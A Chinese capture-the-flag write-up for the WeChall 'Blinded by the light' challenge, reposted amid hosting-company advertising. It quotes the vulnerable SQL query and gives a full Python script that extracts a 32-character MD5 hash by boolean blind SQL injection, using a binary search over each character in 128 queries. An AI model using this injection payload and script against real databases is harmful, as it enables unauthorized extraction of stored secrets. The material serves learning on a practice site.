重庆分公司,新征程启航

为企业提供网站建设、域名注册、服务器等服务

WriteupBlindedbythelight-创新互联

题目提示:

创新互联专注于企业成都营销网站建设、网站重做改版、休宁县网站定制设计、自适应品牌网站建设、H5网站设计成都做商城网站、集团公司官网建设、外贸网站建设、高端网站制作、响应式网页设计等建站业务,价格优惠性价比高,为休宁县等各大城市提供网站开发制作服务。

    1. Your mission is to extract an md5 password hash out of a database.

    需要获取数据库中的密码信息,而密码是经过MD5加密的。

    2. Your limit for this blind sql injection are 128 queries.

    最多可以注入128次,通过查看源代码可以看到超过了就会重新生成密码。

    3. 可以查看部分关键源代码

$query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";

    通过源代码可以看到存在注入漏洞,但是只能进行是或否的判断。

$hash = GWF_Random::randomKey(32, 'ABCDEF0123456789');

    密码是随机生成的32位字符串,为大写A-F,0-9。

解题:

    通过二叉树法对32位密码的每一位进行判断,四次可以得到一位的值,32*4=128,正好128次注入可以得到密码,Python脚本如下:

# -*- coding: utf-8 -*- 

import urllib2
import urllib
import cookielib
import string
import re
import Cookie

ml= ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'];

# 设置一个cookie处理器
cj = cookielib.CookieJar();
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj));
urllib2.install_opener(opener);

for lindex in range(32):
    xj= 0;
    xvalue= 16;
    for sindex in range(4):
        if xj>0:
            xvalue= xvalue + 16 / (2 ** (sindex + 1));
        else:
            xvalue= xvalue - 16 / (2 ** (sindex + 1));
        # second time do url request, the cookiejar will auto handle the cookie
        loginBaiduUrl = "http://www.wechall.net/challenge/blind_light/index.php";
        strinject = '1\' or ascii(substr(password,%d,1))>%d #' % (lindex+1,ord(ml[xvalue-1]));
        #print strinject;
        para = {
            'injection'  : strinject,
            'inject'  : 'Inject',
            };
        postData = urllib.urlencode(para);
        req = urllib2.Request(loginBaiduUrl, postData);
        req.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; rv:40.0) Gecko/20100101 Firefox/40.0');
        req.add_header('Content-Type', 'application/x-www-form-urlencoded');
        req.add_header('Cookie', 'WC=8624571-16186-h8NKQBMCengtEsn4');
        req.add_header('Referer', 'http://www.wechall.net/challenge/blind_light/index.php');
        req.add_header('Connection', 'close');

        resp = urllib2.urlopen(req);
        respInfo = resp.info();

        # 通过正则匹配抓到需要统计的字符串
        content = resp.read()
        check_text = re.findall('(attempt[s\.\!]{1,2})',content,re.S)[0]

        #print check_text

        if check_text=='attempt!':
            xj=0;
        else:
            xj=1;
    if xj==0:
        print ml[xvalue-1];
    else:
        print ml[xvalue];

另外有需要云服务器可以了解下创新互联scvps.cn,海内外云服务器15元起步,三天无理由+7*72小时售后在线,公司持有idc许可证,提供“云服务器、裸金属服务器、高防服务器、香港服务器、美国服务器、虚拟主机、免备案服务器”等云主机租用服务以及企业上云的综合解决方案,具有“安全稳定、简单易用、服务可用性高、性价比高”等特点与优势,专为企业上云打造定制,能够满足用户丰富、多元化的应用场景需求。


本文题目:WriteupBlindedbythelight-创新互联
分享链接:http://cqcxhl.com/article/cccjpd.html

其他资讯

在线咨询
服务热线
服务热线:028-86922220
TOP